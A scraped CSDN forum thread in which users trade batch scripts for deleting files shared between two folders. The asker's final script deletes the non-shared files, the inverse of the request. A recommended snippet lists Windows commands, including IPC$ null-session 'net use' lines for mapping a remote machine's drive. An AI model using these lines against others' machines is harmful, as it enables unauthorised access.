class="share-code-text" data-v-ca030a68>扫一扫</div></div></div></div> </div><span class="el-popover__reference-wrapper"><div data-v-0ebf603c><img src="https://csdnimg.cn/release/cmsfe/public/img/share-circle.3e0b7822.png" alt="" class="img share" data-v-0ebf603c> <span data-v-0ebf603c>分享</span></div></span></span></div> <!----></div></div></div> <!----> <div data-v-4fb59baf data-v-0ebf603c><div class="el-dialog__wrapper ccloud-pop-outer2" style="display:none;" data-v-4fb59baf><div role="dialog" aria-modal="true" aria-label="dialog" class="el-dialog el-dialog--center" style="margin-top:15vh;width:70%;"><div class="el-dialog__header"><span class="el-dialog__title"></span><!----></div><!----><div class="el-dialog__footer"><span class="dialog-footer clearfix" data-v-4fb59baf><div class="confirm-btm fr" data-v-4fb59baf>确定</div></span></div></div></div></div></div></div></div> <div style="display:none;" data-v-4722a3ae data-v-4722a3ae><!----> <div class="introduce-desc" data-v-4722a3ae><div class="introduce-desc-title" data-v-4722a3ae>社区描述</div> <span data-v-4722a3ae> 其他开发语言 Office开发/ VBA </span></div></div> <div class="introduce-text" data-v-4722a3ae><div class="label-box" data-v-4722a3ae><!----> <!----> <!----></div></div> <!----> <div class="manage" data-v-4722a3ae><div class="manage-inner" data-v-4722a3ae><span data-v-4722a3ae>社区管理员</span> <ul data-v-4722a3ae><li data-v-4722a3ae><a href="https://blog.csdn.net/community_100" target="_blank" class="start-img" data-v-4722a3ae><img src="https://profile-avatar.csdnimg.cn/default.jpg!1" alt="Office开发/ VBA社区" class="el-tooltip item" data-v-4722a3ae data-v-4722a3ae></a></li></ul></div></div> <div class="actions" data-v-4722a3ae><!----> <div style="flex:1;" data-v-4722a3ae><div class="join-btn" data-v-4722a3ae> 加入社区 </div></div> <!----> <!----></div> <div class="el-dialog__wrapper" style="display:none;" data-v-38c57799 data-v-4722a3ae><div role="dialog" aria-modal="true" aria-label="获取链接或二维码" class="el-dialog join-qrcode-dialog" style="margin-top:15vh;width:600px;"><div class="el-dialog__header"><span class="el-dialog__title">获取链接或二维码</span><button type="button" aria-label="Close" class="el-dialog__headerbtn"><i class="el-dialog__close el-icon el-icon-close"></i></button></div><!----><div class="el-dialog__footer"><span class="dialog-footer" data-v-38c57799></span></div></div></div> <div class="collapse-btn" data-v-4722a3ae><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAFAAAAAgCAYAAACFM/9sAAAAAXNSR0IArs4c6QAAAi1JREFUaEPtl01u01AUhc+N8wMSO4AxzJAqwQpKQsdtbMOICmKnwCKQ2ACDIgotrYKiduIiVZ10B0CBAjtAbICfooomJr3IcUoTiVLb15GNuG/67nm65/M5AxP0iAiQSK1iKEBhCBSgAhQSEMo1gQpQSEAo1wQqQCEBoVwT+K8CnLnWvER8cOHMaf95q9Xaj+vDtp3LPeD83u6p9a2t+U5cfVrzmSTQNOfOgg4+ATDAeNHp/Jza3Fz5HtWUZbl3GXjYn2e+53lL96Nq057LBOD0dOOcUSx8BFAcGHpZLlWmVlfnd08yaJrubRAe/Z77HwEG5kdS1E8StgFc9bzFb8dBrNtukxgLwOAXNEF6T/pAce8zSeDhknXbuUNMQRUHe/BrMNX+BNGyHIdBT45m6VVn36/FqX5cOFHmMwUYJrE5x+CgkuEujLe+361ubLS+HhowzeYtEC8NzWyXy5ValMpHgSCZyRxgsLxpui4Ij4/ShZ1S0aiurS18sSznJoOeDt29AaP6t6pLgMTV5gJgsHTddhvEWBwC9Y6AZww8AFA4Lp1xDac9nxuAYZ37aQuqGgIbPTt+t3tluNppw0jyXq4AhnV2ZkG0PAKR8b5UMiaDSicxOU5N7gCGSXRvMLAygPgB3Jv0vOXP4wSR9O1cAgzMzFxvXDR6hYlK5cd6u93eS2pw3LrcAhy38bTeV4BCkgpQAQoJCOWaQAUoJCCUawIVoJCAUK4JVIBCAkL5L1yapyGdIBwvAAAAAElFTkSuQmCC" alt data-v-4722a3ae></div></div><!----><!----><div comp-data="[object Object]" baseInfo="[object Object]" typePage="detail" community="[object Object]" class="floor-user-right-rank" data-v-3d3affee><div class="el-tabs el-tabs--top" data-v-3d3affee><div class="el-tabs__header is-top"><div class="el-tabs__nav-wrap is-top"><div class="el-tabs__nav-scroll"><div role="tablist" class="el-tabs__nav is-top" style="transform:translateX(-0px);"><div class="el-tabs__active-bar is-top" style="width:0px;transform:translateX(0px);ms-transform:translateX(0px);webkit-transform:translateX(0px);"></div></div></div></div></div><div class="el-tabs__content"><div role="tabpanel" id="pane-integral" aria-labelledby="tab-integral" class="el-tab-pane" data-v-3d3affee></div><div role="tabpanel" aria-hidden="true" id="pane-3" aria-labelledby="tab-3" class="el-tab-pane" style="display:none;" data-v-3d3affee></div><div role="tabpanel" aria-hidden="true" id="pane-5" aria-labelledby="tab-5" class="el-tab-pane" style="display:none;" data-v-3d3affee></div><div role="tabpanel" aria-hidden="true" id="pane-6" aria-labelledby="tab-6" class="el-tab-pane" style="display:none;" data-v-3d3affee></div></div></div> <div class="floor-user-right-rank-score" data-v-608528ce data-v-3d3affee><div class="floor-user-right-rank-score-tabs" data-v-608528ce><ul data-v-608528ce><li data-v-608528ce> 近7日 </li><li data-v-608528ce> 近30日 </li><li class="active" data-v-608528ce> 至今 </li></ul></div> <div class="floor-user-right-rank-common" data-v-46cf600d data-v-608528ce><div class="rank-list" data-v-46cf600d><!----> <div class="no-data loading" data-v-46cf600d><i class="el-icon-loading" data-v-46cf600d></i> <p data-v-46cf600d>加载中</p></div> <!----> <a href="https:///OfficeDevelopment/rank/list/total" target="_blank" class="show-more" data-v-46cf600d> 查看更多榜单 </a></div></div></div></div><div comp-data="[object Object]" baseInfo="[object Object]" typePage="detail" community="[object Object]" class="floor comunity-rule" data-v-3cfa4dbd><div class="title" data-v-3cfa4dbd> 社区公告 </div> <div class="contain" data-v-3cfa4dbd><div class="inner-content" data-v-3cfa4dbd>暂无公告</div></div></div><div comp-data="[object Object]" baseInfo="[object Object]" typePage="detail" community="[object Object]" class="user-right-adimg empty-arr" data-v-15c6aa4f><div class="adImgs" data-v-2a6389b9 data-v-15c6aa4f><!----> <div data-v-2a6389b9><div data-v-2a6389b9></div></div></div></div><div comp-data="[object Object]" baseInfo="[object Object]" community="[object Object]" class="content-right-recommend" data-v-0f781e88><div data-v-3798762e data-v-0f781e88><!----> <!----></div></div><div comp-data="[object Object]" baseInfo="[object Object]" typePage="detail" community="[object Object]" class="ai-entrance" data-v-eb1c454c><p data-v-eb1c454c>试试用AI创作助手写篇文章吧</p> <div class="entrance-btn-line" data-v-eb1c454c><a href="https://mp.csdn.net/edit?guide=1" target="_blank" data-report-click="{"spm":"3001.9712"}" data-report-query="spm=3001.9712" class="entrance-btn" data-v-eb1c454c>+ 用AI写文章</a></div></div></div></div></div></div></div></div></div></div></div></div></div> <div> <script type="text/javascript" src="https://g.csdnimg.cn/common/csdn-footer/csdn-footer.js" data-isfootertrack="false" defer></script> </div></div></div><script> window.__INITIAL_STATE__= {"csrf":"ngfROMLE-TloZ6ebizmZpSjJGZH-FUdfj5uA","origin":"http:\u002F\u002Fbbs.csdn.net","isMobile":false,"cookie":"uuid_tt_dd=10_596891860-1714006244149-441973;","ip":"3.142.200.226","pageData":{"page":{"pageId":143,"title":"社区详情","keywords":"社区详情","description":"社区详情","ext":{"isMd":"true","armsfe1":"{pid:\"dyiaei5ihw@1a348e4d05c2c78\",appType:\"web\",imgUrl:\"https:\u002F\u002Farms-retcode.aliyuncs.com\u002Fr.png?\",sendResource:true,enableLinkTrace:true,behavior:true}","redPacketCfg":"{\"presetTitle\":[\"成就一亿技术人!\",\"大吉大利\",\"节日快乐\",\"Bug Free\",\"Hello World\",\"Be Greater Than Average!!\"],\"defaultTitle\":\"成就一亿技术人!\",\"preOpenSty\":{},\"redCardSty\":{}}","blogStar":"[{\"year\":\"2021\",\"enable\":true,\"communityIds\":[3859],\"url\":\"https:\u002F\u002Fbbs.csdn.net\u002Fsummary2021\"},{\"year\":\"2022\",\"enable\":true,\"communityIds\":[3860],\"url\":\"https:\u002F\u002Fbbs.csdn.net\u002Fsummary2022\"}]","mdVersion":"https:\u002F\u002Fcsdnimg.cn\u002Frelease\u002Fmarkdown-editor\u002F1.1.0\u002Fmarkdown-editor.js","componentSortCfg":"{ \"right\":[\"ratesInfo\",\"cty-profile\",\"pub-comp\",\"user-right-introduce\",\"post-event\",\"my-mission\",\"user-recommend\",\"user-right-rank\",\"user-right-rule\",\"user-right-adimg\"] }","show_1024":"{\"enable\":false,\"useWhitelist\":false,\"whitelist\":[76215],\"home\":\"https:\u002F\u002F1111.csdn.net\u002F\",\"logo\":\"https:\u002F\u002Fimg-home.csdnimg.cn\u002Fimages\u002F20221104102741.png\",\"hideLive\":true}","iframes":"[\"3859\"]","pageCfg":"{\"disableDownloadPDF\": false,\"hideSponsor\":false}"}},"template":{"templateId":71,"templateComponentName":"ccloud-detail","title":"ccloud-detail","floorList":[{"floorId":562,"floorComponentName":"floor-user-content","title":"社区详情页","description":"社区详情页","indexOrder":3,"componentList":[{"componentName":"baseInfo","componentDataId":"cloud-detail1","componentConfigData":{},"relationType":3},{"componentName":"user-right-introduce","componentDataId":"","componentConfigData":{},"relationType":2},{"componentName":"user-recommend","componentDataId":"","componentConfigData":{},"relationType":2},{"componentName":"user-right-rank","componentDataId":"","componentConfigData":{},"relationType":2},{"componentName":"user-right-rule","componentDataId":"","componentConfigData":{},"relationType":2},{"componentName":"user-right-adimg","componentDataId":"","componentConfigData":{},"relationType":2},{"componentName":"default2014LiveRoom","componentDataId":"20221024DefaultLiveRoom","componentConfigData":{},"relationType":3}]}]},"data":{"baseInfo":{"customDomain":"","uriName":"OfficeDevelopment","communityHomePage":"https:\u002F\u002Fbbs.csdn.net\u002Fforums\u002FOfficeDevelopment","owner":{"userName":"community_100","nickName":"Office开发\u002F VBA社区","avatarUrl":"https:\u002F\u002Fprofile-avatar.csdnimg.cn\u002Fdefault.jpg!1","position":"","companyName":""},"user":{"userRole":3,"userName":null,"nickName":null,"avatarUrl":null,"rank":null,"follow":2,"communityBase":null,"joinCollege":null,"isVIP":null},"community":{"name":"Office开发\u002F VBA","description":"其他开发语言 Office开发\u002F VBA","avatarUrl":"https:\u002F\u002Fg.csdnimg.cn\u002Fstatic\u002Fuser-img\u002Fdefault-user.png","qrCode":"","createTime":"2007-08-27","communityAvatarUrl":"https:\u002F\u002Fprofile-avatar.csdnimg.cn\u002Fdefault.jpg!1","communityNotice":null,"userCount":5139,"contentCount":17886,"followersCount":4539,"communityRule":"","communityId":218,"bgImage":"","hashId":"gyre36w5","domain":"","uriName":"OfficeDevelopment","externalDisplay":1,"adBanner":{"img":"","url":"","adType":0,"adCon":null},"rightBanner":{"img":"","url":"","adType":0,"adCon":null},"tagId":null,"tagName":null,"communityType":1,"communityApplyUrl":"https:\u002F\u002Fmarketing.csdn.net\u002Fquestions\u002FQ2106040308026533763","joinType":0,"visibleType":0,"collapse":0,"topicMoveAble":0,"allowActions":{},"communityOwner":"community_100","tagNameInfo":{"provinceTag":null,"areaTag":null,"technologyTags":null,"customTags":null}},"tabList":[{"tabId":1377,"tabName":"全部","tabUrl":"","tabSwitch":1,"tabType":4,"tabContribute":0,"cardType":0,"indexOrder":-1,"url":"https:\u002F\u002Fbbs.csdn.net\u002Fforums\u002FOfficeDevelopment?typeId=1377","iframe":false,"sortType":1},{"tabId":1627327,"tabName":"Ada助手","tabUrl":"","tabSwitch":1,"tabType":2,"tabContribute":0,"cardType":0,"indexOrder":20,"url":"https:\u002F\u002Fbbs.csdn.net\u002Fforums\u002FOfficeDevelopment?typeId=1627327","iframe":false,"sortType":1}],"dataResource":{"mediaType":"c_cloud","subResourceType":"8_c_cloud_long_text","showType":"long_text","tabId":0,"communityName":"Office开发\u002F VBA","communityHomePageUrl":"https:\u002F\u002Fbbs.csdn.net\u002Fforums\u002FOfficeDevelopment","communityType":1,"content":{"id":"390264122","contentId":390264122,"cateId":0,"cateName":null,"url":"https:\u002F\u002Fbbs.csdn.net\u002Ftopics\u002F390264122","shareUrl":"https:\u002F\u002Fbbs.csdn.net\u002Ftopics\u002F390264122","createTime":"2012-10-30 08:51:07","updateTime":"2021-05-28 18:21:42","resourceUsername":"xt030","best":0,"top":0,"text":null,"publishDate":"2012-10-30","lastReplyDate":"2012-10-31","type":"13","nickname":"ether030","avatar":"https:\u002F\u002Fprofile-avatar.csdnimg.cn\u002Fdefault.jpg!1","username":"xt030","commentCount":4,"diggNum":0,"digg":false,"viewCount":345,"hit":false,"resourceSource":6,"status":10,"taskStatus":null,"expired":false,"taskCate":0,"taskAward":0,"taskExpired":null,"checkRedPacket":null,"avgScore":0,"totalScore":0,"topicTitle":"求BAT语句,两个文件夹,要求删除一个文件夹与另一个文件夹下同名文件的文件。","insertFirst":false,"likeInfo":null,"description":"例如:A文件夹 a.txt,b.txt,c.txt B文件夹 c.txt,d.txt 要求对A文件夹进行,删除A、B文件夹同时存在的文件的操作 求BAT语句?","coverImg":"https:\u002F\u002Fimg-home.csdnimg.cn\u002Fimages\u002F20221109053818.png","content":"例如:A文件夹 a.txt,b.txt,c.txt\u003Cbr \u002F\u003E\n\u003Cbr \u002F\u003E\nB文件夹 c.txt,d.txt\u003Cbr \u002F\u003E\n\u003Cbr \u002F\u003E\n要求对A文件夹进行,删除A、B文件夹同时存在的文件的操作\u003Cbr \u002F\u003E\n\u003Cbr \u002F\u003E\n求BAT语句?","mdContent":null,"pictures":null,"videoInfo":null,"linkInfo":null,"student":{"isCertification":false,"org":"湖北大学","bala":""},"employee":{"isCertification":false,"org":"武汉市爱尔康大药房有限公司","bala":"数据库工程师"},"userCertification":[],"dependId":"0","dependSubType":null,"videoUrl":null,"favoriteCount":0,"favoriteStatus":false,"taskType":null,"defaultScore":null,"syncAsk":false,"videoPlayLength":null},"communityUser":{"userName":"xt030","roleId":223,"roleType":0,"roleStatus":1,"honoraryId":0,"roleName":"","honoraryName":null,"communityNickname":"","communitySignature":""},"allowPost":false,"submitHistory":[{"user":{"registerurl":"https:\u002F\u002Fg.csdnimg.cn\u002Fstatic\u002Fuser-reg-year\u002F1x\u002F15.png","avatarurl":"https:\u002F\u002Fprofile-avatar.csdnimg.cn\u002Fdefault.jpg!1","nickname":"ether030","selfdesc":"","createdate":"2008-11-24 11:14:00","days":"5631","years":"15","username":"xt030","school":null,"company":null,"job":null},"userName":"xt030","event":"创建了帖子","body":"2012-10-30 08:51","editId":null}],"resourceExt":{}},"contentReply":{"pageNo":1,"pageSize":20,"totalPages":1,"totalCount":4,"total":0,"list":[{"hit":null,"hitMsg":null,"content":"这里改下就行\u003Cbr \u002F\u003E\n\u003Cbr \u002F\u003E\n\u003Cpre\u003E\u003Ccode class=\"language-VB\"\u003E\u003Cbr \u002F\u003E\n@Echo off\u003Cbr \u002F\u003E\n:: +-----------------------------------------------+ ::\u003Cbr \u002F\u003E\n:: | BAT-GO团员【wkdxz】 At:2010-07-23 11:25:03 | ::\u003Cbr \u002F\u003E\n:: +-----------------------------------------------+ ::\u003Cbr \u002F\u003E\n::BAT不能放置在目录A及其子文件夹里面\u003Cbr \u002F\u003E\n\u003Cbr \u002F\u003E\nsetlocal enabledelayedexpansion\u003Cbr \u002F\u003E\n\u003Cbr \u002F\u003E\n::在这里设置A、B文件夹路径\u003Cbr \u002F\u003E\n::假设A为“D:\\123 456”\u003Cbr \u002F\u003E\n::假设B为“E:\\15641 dsfsd”\u003Cbr \u002F\u003E\nset "a=D:\\123 456"\u003Cbr \u002F\u003E\nset "b=E:\\15641 dsfsd"\u003Cbr \u002F\u003E\n\u003Cbr \u002F\u003E\n::比对文件\u003Cbr \u002F\u003E\nfor \u002Ff "delims=" %%a in ('dir \u002Fs\u002Fb\u002Fa-d "!a!\\"') do (\u003Cbr \u002F\u003E\nset "wkd=%%a"\u003Cbr \u002F\u003E\nset "wkd=!wkd:%a%=!"\u003Cbr \u002F\u003E\nif exist "!b!\\!wkd!" echo.删除%%a &del \u002Fa\u002Ff\u002Fq %%~sa\u003Cbr \u002F\u003E\n)\u003Cbr \u002F\u003E\n\u003Cbr \u002F\u003E\n::比对目录\u003Cbr \u002F\u003E\nfor \u002Ff "delims=" %%a in ('dir \u002Fs\u002Fb\u002Fad "!a!\\"') do (\u003Cbr \u002F\u003E\nset "wkd=%%a"\u003Cbr \u002F\u003E\nset "wkd=!wkd:%a%=!"\u003Cbr \u002F\u003E\nif exist "!b!\\!wkd!" echo.删除%%a &rd \u002Fs\u002Fq %%~sa\u003Cbr \u002F\u003E\n)\u003Cbr \u002F\u003E\nset \u002Fp=处理完毕,<nul&pause\u003Cbr \u002F\u003E\n\u003Cbr \u002F\u003E\n\u003Cbr \u002F\u003E\n\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E","topicTitle":null,"description":"这里改下就行 @Echo off :: +-----------------------------------------------+ :: :: | BAT-GO团员【wkdxz】 At:2010-07-23 11:25:03 | :: :: +-----------------------------------------------+ :: ::BAT不能放置在目录A及其子文件夹里面 setlocal enabledelayedexpansion ::在这里设置A、B文件夹路径 ::","id":392784376,"contentResourceId":390264122,"bindContentResourceId":0,"communityId":218,"username":"xt030","userNickName":"ether030","userAvatar":"https:\u002F\u002Fprofile-avatar.csdnimg.cn\u002Fdefault.jpg!1","mdContent":null,"parentId":0,"replyName":"","replyNickName":"","bizNo":"bbs","ip":3683430058,"status":10,"childCount":0,"topStatus":0,"recommendStatus":0,"userLike":false,"diggCount":0,"childIds":"","createTime":"2012-10-31 12:50:54","updateTime":"2012-10-31 12:52:16","formatTime":"2012-10-31","userRoleHonorary":{"userName":"xt030","roleId":223,"roleType":0,"roleStatus":1,"honoraryId":0,"roleName":"","honoraryName":null,"communityNickname":"","communitySignature":""},"child":null,"communityNickname":null,"communityReplyNickname":null,"rewardInfo":null,"checkRedPacketVO":null,"noDiggCount":null},{"hit":null,"hitMsg":null,"content":"自己找到答案了\u003Cbr \u002F\u003E\n\u003Cpre\u003E\u003Ccode class=\"language-VB\"\u003E\u003Cbr \u002F\u003E\n@Echo off\u003Cbr \u002F\u003E\n:: +-----------------------------------------------+ ::\u003Cbr \u002F\u003E\n:: | BAT-GO团员【wkdxz】 At:2010-07-23 11:25:03 | ::\u003Cbr \u002F\u003E\n:: +-----------------------------------------------+ ::\u003Cbr \u002F\u003E\n::BAT不能放置在目录A及其子文件夹里面\u003Cbr \u002F\u003E\n\u003Cbr \u002F\u003E\nsetlocal enabledelayedexpansion\u003Cbr \u002F\u003E\n\u003Cbr \u002F\u003E\n::在这里设置A、B文件夹路径\u003Cbr \u002F\u003E\n::假设A为“D:\\123 456”\u003Cbr \u002F\u003E\n::假设B为“E:\\15641 dsfsd”\u003Cbr \u002F\u003E\nset "a=D:\\123 456"\u003Cbr \u002F\u003E\nset "b=E:\\15641 dsfsd"\u003Cbr \u002F\u003E\n\u003Cbr \u002F\u003E\n::比对文件\u003Cbr \u002F\u003E\nfor \u002Ff "delims=" %%a in ('dir \u002Fs\u002Fb\u002Fa-d "!a!\\"') do (\u003Cbr \u002F\u003E\nset "wkd=%%a"\u003Cbr \u002F\u003E\nset "wkd=!wkd:%a%=!"\u003Cbr \u002F\u003E\nif not exist "!b!\\!wkd!" echo.删除%%a &del \u002Fa\u002Ff\u002Fq %%~sa\u003Cbr \u002F\u003E\n)\u003Cbr \u002F\u003E\n\u003Cbr \u002F\u003E\n::比对目录\u003Cbr \u002F\u003E\nfor \u002Ff "delims=" %%a in ('dir \u002Fs\u002Fb\u002Fad "!a!\\"') do (\u003Cbr \u002F\u003E\nset "wkd=%%a"\u003Cbr \u002F\u003E\nset "wkd=!wkd:%a%=!"\u003Cbr \u002F\u003E\nif not exist "!b!\\!wkd!" echo.删除%%a &rd \u002Fs\u002Fq %%~sa\u003Cbr \u002F\u003E\n)\u003Cbr \u002F\u003E\nset \u002Fp=处理完毕,<nul&pause\u003Cbr \u002F\u003E\n\u003Cbr \u002F\u003E\n\u003Cbr \u002F\u003E\n\u003Cbr \u002F\u003E\n\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003Cbr \u002F\u003E\n\u003Cbr \u002F\u003E\n","topicTitle":null,"description":"自己找到答案了 @Echo off :: +-----------------------------------------------+ :: :: | BAT-GO团员【wkdxz】 At:2010-07-23 11:25:03 | :: :: +-----------------------------------------------+ :: ::BAT不能放置在目录A及其子文件夹里面 setlocal enabledelayedexpansion ::在这里设置A、B文件夹路径 :","id":392784359,"contentResourceId":390264122,"bindContentResourceId":0,"communityId":218,"username":"xt030","userNickName":"ether030","userAvatar":"https:\u002F\u002Fprofile-avatar.csdnimg.cn\u002Fdefault.jpg!1","mdContent":null,"parentId":0,"replyName":"","replyNickName":"","bizNo":"bbs","ip":3683430058,"status":10,"childCount":0,"topStatus":0,"recommendStatus":0,"userLike":false,"diggCount":0,"childIds":"","createTime":"2012-10-31 12:49:14","updateTime":"2012-10-31 12:50:36","formatTime":"2012-10-31","userRoleHonorary":{"userName":"xt030","roleId":223,"roleType":0,"roleStatus":1,"honoraryId":0,"roleName":"","honoraryName":null,"communityNickname":"","communitySignature":""},"child":null,"communityNickname":null,"communityReplyNickname":null,"rewardInfo":null,"checkRedPacketVO":null,"noDiggCount":null},{"hit":null,"hitMsg":null,"content":"不会编程,如果文件数量比较多的时候,用以下方法可以。\u003Cbr \u002F\u003E\n\u003Cbr \u002F\u003E\n在cmd命令行下建立2个CSV文件\u003Cbr \u002F\u003E\n\u003Cbr \u002F\u003E\ndir c:\\a \u002Fb >>a.csv\u003Cbr \u002F\u003E\ndir c:\\b \u002Fb >>b.csv\u003Cbr \u002F\u003E\n\u003Cbr \u002F\u003E\n然后分别用EXCEL打开两个文件。然后用VLOOKUP函数找出两个共有的文件名。\u003Cbr \u002F\u003E\n\u003Cbr \u002F\u003E\n后面两列分别写公式="del c:\\a\\" & 文件名单元格,="del c:\\b\\" & 文件名单元格。然后下拉。\u003Cbr \u002F\u003E\n\u003Cbr \u002F\u003E\n分别将两列粘到2个文本文件中,扩展名为.bat。运行就删除了。\u003Cbr \u002F\u003E\n\u003Cbr \u002F\u003E\n","topicTitle":null,"description":"不会编程,如果文件数量比较多的时候,用以下方法可以。 在cmd命令行下建立2个CSV文件 dir c:\\a \u002Fb \u003E\u003Ea.csv dir c:\\b \u002Fb \u003E\u003Eb.csv 然后分别用EXCEL打开两个文件。然后用VLOOKUP函数找出两个共有的文件名。 后面两列分别写公式=\"del c:\\a\\\" & 文件名单元格,=\"del c:\\b\\\" & 文件名单元格。然后下拉。 分别将两列粘到2个文本文件中,扩展名为.bat。运行就删除了。 ","id":392784212,"contentResourceId":390264122,"bindContentResourceId":0,"communityId":218,"username":"ChoasRules","userNickName":"不会编程的财务不是老司机","userAvatar":"https:\u002F\u002Fprofile-avatar.csdnimg.cn\u002F986f98d907914336b18a46d926c9b4d3_choasrules.jpg!1","mdContent":null,"parentId":0,"replyName":"","replyNickName":"","bizNo":"bbs","ip":1026629181,"status":10,"childCount":0,"topStatus":0,"recommendStatus":0,"userLike":false,"diggCount":0,"childIds":"","createTime":"2012-10-31 12:33:10","updateTime":"2012-12-02 02:25:42","formatTime":"2012-10-31","userRoleHonorary":{"userName":"ChoasRules","roleId":223,"roleType":0,"roleStatus":1,"honoraryId":0,"roleName":"","honoraryName":null,"communityNickname":"","communitySignature":""},"child":null,"communityNickname":null,"communityReplyNickname":null,"rewardInfo":null,"checkRedPacketVO":null,"noDiggCount":null},{"hit":null,"hitMsg":null,"content":"谢谢分享,楼主bat挺强的。","topicTitle":null,"description":"谢谢分享,楼主bat挺强的。","id":392788751,"contentResourceId":390264122,"bindContentResourceId":0,"communityId":218,"username":"dsd999","userNickName":"dsd999","userAvatar":"https:\u002F\u002Fprofile-avatar.csdnimg.cn\u002F827c54f4871c402a93f9ede04f36e6aa_dsd999.jpg!1","mdContent":null,"parentId":0,"replyName":"","replyNickName":"","bizNo":"bbs","ip":3263875634,"status":10,"childCount":0,"topStatus":0,"recommendStatus":0,"userLike":false,"diggCount":0,"childIds":"","createTime":"2012-10-31 05:36:33","updateTime":"2012-12-02 02:25:42","formatTime":"2012-10-31","userRoleHonorary":{"userName":"dsd999","roleId":223,"roleType":0,"roleStatus":1,"honoraryId":0,"roleName":"","honoraryName":null,"communityNickname":"","communitySignature":""},"child":null,"communityNickname":null,"communityReplyNickname":null,"rewardInfo":null,"checkRedPacketVO":null,"noDiggCount":null}],"maxPageSize":3000},"defaultActiveTab":1377,"recommends":[{"url":"https:\u002F\u002Fdownload.csdn.net\u002Fdownload\u002Ffengwangyang\u002F4251631","title":"cmd操作命令和linux命令大全收集","desc":"CMD命令:开始-\u003E运行-\u003E键入cmd或command(在命令行里可以看到系统版本、\u003Cem\u003E文件\u003C\u002Fem\u003E系统版本) \n命令大全\n1. gpedit.msc-----组策略 \n2. sndrec32-------录音机   \n3. Nslookup-------IP地址侦测器 ,是\u003Cem\u003E一个\u003C\u002Fem\u003E 监测网络中 DNS 服务器是否能正确实现域名解析的命令行工具。它在 Windows NT\u002F2000\u002FXP 中均可使用,但在 Windows 98 中却没有集成这\u003Cem\u003E一个\u003C\u002Fem\u003E工具。   \n4. explorer-------打开资源管理器   \n5. logoff---------注销命令   \n6. shutdown-------60秒倒计时关机命令   \n7. lusrmgr.msc----本机用户和组   \n8. services.msc---本地服务设置   \n9. oobe\u002Fmsoobe \u002Fa----检查XP是否激活   \n10. notepad--------打开记事本   \n11. cleanmgr-------垃圾整理   \n12. net start messenger----开始信使服务   \n13. compmgmt.msc---计算机管理   \n14. net stop messenger-----停止信使服务   \n15. conf-----------启动netmeeting   \n16. dvdplay--------DVD播放器   \n17. charmap--------启动字符映射表   \n18. diskmgmt.msc---磁盘管理实用程序   \n19. calc-----------启动计算器   \n20. dfrg.msc-------磁盘碎片整理程序   \n21. chkdsk.exe-----Chkdsk磁盘检查   \n22. devmgmt.msc--- 设备管理器   \n23. regsvr32 \u002Fu *.dll----停止dll\u003Cem\u003E文件\u003C\u002Fem\u003E运行   \n24. drwtsn32------ 系统医生   \n25. rononce -p----15秒关机   \n26. dxdiag---------检查DirectX信息   \n27. regedt32-------注册表编辑器   \n28. Msconfig.exe---系统配置实用程序   \n29. rsop.msc-------组策略结果集   \n30. mem.exe--------显示内存使用情况   \n31. regedit.exe----注册表   \n32. winchat--------XP自带局域网聊天   \n33. progman--------程序管理器   \n34. winmsd---------系统信息   \n35. perfmon.msc----计算机性能监测程序   \n36. winver---------检查Windows版本   \n37. sfc \u002Fscannow-----扫描错误并复原   \n38. taskmgr-----任务管理器(2000\u002Fxp\u002F2003)   \n39. regsvr32 \u002Fu *.dll----停止dll\u003Cem\u003E文件\u003C\u002Fem\u003E运行   \n40. wmimgmt.msc----打开windows管理体系结构(WMI)   \n41. wupdmgr--------windows更新程序   \n42. wscript--------windows脚本宿主设置   \n43. write----------写字板   \n45. wiaacmgr-------扫描仪和照相机向导   \n46. winchat--------XP自带局域网聊天   \n49. mplayer2-------简易widnows media player   \n50. mspaint--------画图板   \n51. mstsc----------远程桌面连接   \n53. magnify--------放大镜实用程序   \n54. mmc------------打开控制台   \n55. mobsync--------同步命令   \n57. iexpress-------木马捆绑工具,系统自带   \n58. fsmgmt.msc-----共享\u003Cem\u003E\u003Cem\u003E文件\u003C\u002Fem\u003E夹\u003C\u002Fem\u003E管理器   \n59. utilman--------辅助工具管理器   \n61. dcomcnfg-------打开系统组件服务   \n62. ddeshare-------打开DDE共享设置   \n63. osk------------打开屏幕键盘   \n64. odbcad32-------ODBC数据源管理器   \n65. oobe\u002Fmsoobe \u002Fa----检查XP是否激活   \n66. cmd.exe--------CMD命令提示符   \n67. regsvr32 \u002Fu zipfldr.dll------取消ZIP支持   \n68. ntbackup-------系统备份和还原   \n69. narrator-------屏幕“讲述人”   \n70. ntmsmgr.msc----移动存储管理器   \n71. ntmsoprq.msc---移动存储管理员操作请\u003Cem\u003E求\u003C\u002Fem\u003E   \n72. netstat -an----(TC)命令检查接口   \n73. syncapp--------创建\u003Cem\u003E一个\u003C\u002Fem\u003E公文包   \n74. sysedit--------系统配置编辑器   \n75. sigverif-------\u003Cem\u003E文件\u003C\u002Fem\u003E签名验证程序   \n76. ciadv.msc------索引服务程序   \n77. shrpubw--------创建共享\u003Cem\u003E\u003Cem\u003E文件\u003C\u002Fem\u003E夹\u003C\u002Fem\u003E   \n78. secpol.msc-----本地安全策略   \n79. syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码   \n80. services.msc---本地服务设置   \n81. Sndvol32-------音量控制程序   \n82. sfc.exe--------系统\u003Cem\u003E文件\u003C\u002Fem\u003E检查器   \n83. sfc \u002Fscannow---windows\u003Cem\u003E文件\u003C\u002Fem\u003E保护   \n84. ciadv.msc------索引服务程序   \n85. tourstart------xp简介(安装完成后出现的漫游xp程序)   \n86. taskmgr--------任务管理器   \n87. eventvwr-------事件查看器   \n88. eudcedit-------造字程序   \n89. compmgmt.msc---计算机管理   \n90. packager-------对象包装程序   \n91. perfmon.msc----计算机性能监测程序   \n92. charmap--------启动字符映射表   \n93. cliconfg-------SQL SERVER 客户端网络实用程序   \n94. Clipbrd--------剪贴板查看器   \n95. conf-----------启动netmeeting   \n96. certmgr.msc----证书管理实用程序 \n操作详解\nnet use ipipc$ \" \" \u002Fuser:\" \" 建立IPC空链接   \nnet use ipipc$ \"密码\" \u002Fuser:\"用户名\" 建立IPC非空链接   \nnet use h: ipc$ \"密码\" \u002Fuser:\"用户名\" 直接登陆后映射对方C:到本地为H:   \nnet use h: ipc$ 登陆后映射对方C:到本地为H:   \nnet use ipipc$ \u002Fdel \u003Cem\u003E删除\u003C\u002Fem\u003EIPC链接   \nnet use h: \u002Fdel \u003Cem\u003E删除\u003C\u002Fem\u003E映射对方到本地的为H:的映射   \nnet user 用户名 密码 